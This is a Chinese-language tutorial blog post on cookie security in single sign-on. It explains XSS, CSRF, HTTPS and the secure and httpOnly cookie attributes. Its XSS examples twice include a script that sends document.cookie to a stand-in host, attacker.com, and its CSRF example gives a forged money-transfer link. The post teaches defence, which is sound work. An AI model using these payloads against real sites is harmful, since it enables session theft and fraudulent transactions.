单点登录与权限管理本质：cookie安全问题

继续介绍「单点登录与权限管理」系列的第一部分：单点登录与权限管理本质，前一篇文章介绍了单点登录概念，以CAS协议的基本流程为例讲解了系统间的交互过程，过程中，cookie的设置和传输涉及的比较多，如何保证cookie的安全性，是这篇文章要介绍的。

安全相关的知识，了解的也有限，我阅读了相关的文章，按照自己的思路、理解，进行了梳理和总结。

如果把安全问题按照发生区域来划分的话，所有发生在后端服务器的安全问题称为「后端安全问题」，比如SQL注入；所有发生在浏览器、web页面中的安全问题称为「前端安全问题」，比如XSS跨站脚本***，cookie相关的问题主要在前端。

首先会介绍下2个***，XSS可获取用户的cookie，CSRF可利用用户的cookie伪造请求，然后介绍下HTTPS及它的重要性，最后说下跨域访问cookie的限制，HTTP设置cookie时对cookie操作的控制。

XSS

XSS称为跨站脚本***，全称为Cross-Site Scripting，这类安全问题发生的本质原因是浏览器将***者提供的用户输入数据当做JavaScript脚本执行了。

XSS有不同的分类方法，按照恶意脚本是否在应用中存储，可以划分为「存储型XSS」和「反射性XSS」；按照是否和服务端有交互，可以划分为「Server Side XSS」和「DOM based XSS」。

反射型XSS

场景说明：一些系统，在用户输入或操作错误后，会跳转到错误信息提示页面，服务器根据传入的message显示不同的错误信息。

如果服务端不对message进行过滤，就会收到XSS***，比如请求URL：

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 

页面显示

<input type="text" value="${msg}">

如果被***者通过访问这个恶意的URL，就会把cookie发给***，***截获cookie，就能执行用户的任意操纵。

保存型XSS

对于保存型XSS，脚本通常保存在后端数据库中，不经过滤就存储并显示给用户。与反射型的流程不同的是，需要至少两次请求，第一次将含有恶意代码的数据提交给服务器，保存到数据库，第二次是受害者访问含有恶意代码的页面，恶意代码执行。

DOM based XSS

其实也是反射型的一种，因为也是通过url控制页面的输出，不同点只是输出地点不同而导致结果不一致。

加入请求URL和反射XSS相同:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 

显示页面如下：

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>

防御XSS最佳的做法是对数据进行严格的输出编码，使得***者提供的数据不再被浏览器认为是脚本而被误执行。

CSRF

CSRF称为跨站请求伪造，全称是Cross Site Request Forgery，它可以在受害者毫不知情的情况下，以受害者的名义伪造请求发送给受***站点。

场景说明：小米金融网站A，有一个如下的转账接口

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000

***H有一个网站B，在网站中放入如下代码，通过广告诱使受害者点击。如果受害者之前登录过网站A，且session还未过期，就会在受害者不知情的情况下，成功转账给***。

<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a>

可以通过验证HTTP Referer字段、在请求地址中添加token并验证、在HTTP头中自定义属性并验证等方法进行解决；

HTTPS

建议所有对外网开放的站点都通过HTTPS，它是在HTTP协议的基础上，加入了SSL层，对数据进行加密处理。

通过HTTPS协议，cookie在传输的过程中，即使被别人劫持到请求，也不知道实际的cookie是什么，无法伪造其他的请求。

HTTPS相关的介绍在网上很多，这里描述下交互过程：

1. 浏览器将自己支持的一套加密规则发送给网站；
2. 网站从中选出一组加密算法与HASH算法，并将自己的身份信息以证书的形式发回给浏览器；（证书里面包含了网站地址，加密公钥，以及证书的颁发机构等信息）
3. 浏览器获得网站证书之后，要做以下工作：
   • 验证证书的合法性（验证颁发证书的机构是否合法，证书中包含的网站地址是否与正在访问的地址一致等），如果验证不通过，会给出证书不受信的提示；
   • 如果证书受信任，或者是用户接受了不受信的证书，浏览器会生成一串随机数的密码，并用证书中提供的公钥加密；
   • 使用约定好的HASH计算握手消息，并使用生成的随机数对消息进行加密，最后将之前生成的所有信息发送给网站；
4. 网站接收浏览器发来的数据之后要做以下的操作：
   • 使用自己的私钥将信息解密取出随机数密码，使用密码解密浏览器发来的握手消息，并验证HASH是否与浏览器发来的一致；
   • 使用随机数密码加密一段握手消息，发送给浏览器；
5. 浏览器解密并计算握手消息的HASH，如果与服务端发来的HASH一致，此时握手过程结束，之后所有的通信数据将由之前浏览器生成的随机密码并利用对称加密算法进行加密；

总结下：

• 握手阶段，通过非对称加密算法对传输的数据进行加解密，约定随机数的密码、加密算法、Hash算法；
• 正常传输数据时，因为非对称加密比较耗时，使用随机数的密码进行加解密，随机数密码在浏览器端生成，通过非对称加密传输给网站，所以不会泄露；
• 为了防止数据被篡改，通过Hash算法进行校验；

Cookie访问控制

cookie如此重要，在浏览器端，如果一个网站可以访问其他网站的cookie，肯定不行的，所以浏览器是不允许跨域访问cookie的，提高了Cookie的安全性。

在前面的文章 session和cookie介绍 中，已经介绍了cookie的作用域，主要是说一级域名相同情况下如何共享使用cookie。

如果想实现跨域访问，可以通过JSONP、CORS的方法实现。

另外，HTTP设置cookie时，提供了2个属性，可以增强cookie的安全性，分别是secure属性和httpOnly属性。

secure属性可防止信息在传递的过程中被监听捕获后导致信息泄露，如果设置为true，可以限制只有通过https访问时，才会将浏览器保存的cookie传递到服务端，如果通过http访问，不会传递cookie。

httpOnly属性可以防止程序获取cookie，如果设置为true，通过js等将无法读取到cookie，能有效的防止XSS***。

通过本篇文章的介绍，为了保障cookie的安全性，应要求通过HTTPS进行访问，在编写代码时充分考虑，尽量避免XSS、CSRF等cookie相关的***方法。同时，浏览器和HTTP本身也对cookie的访问控制进行了考虑。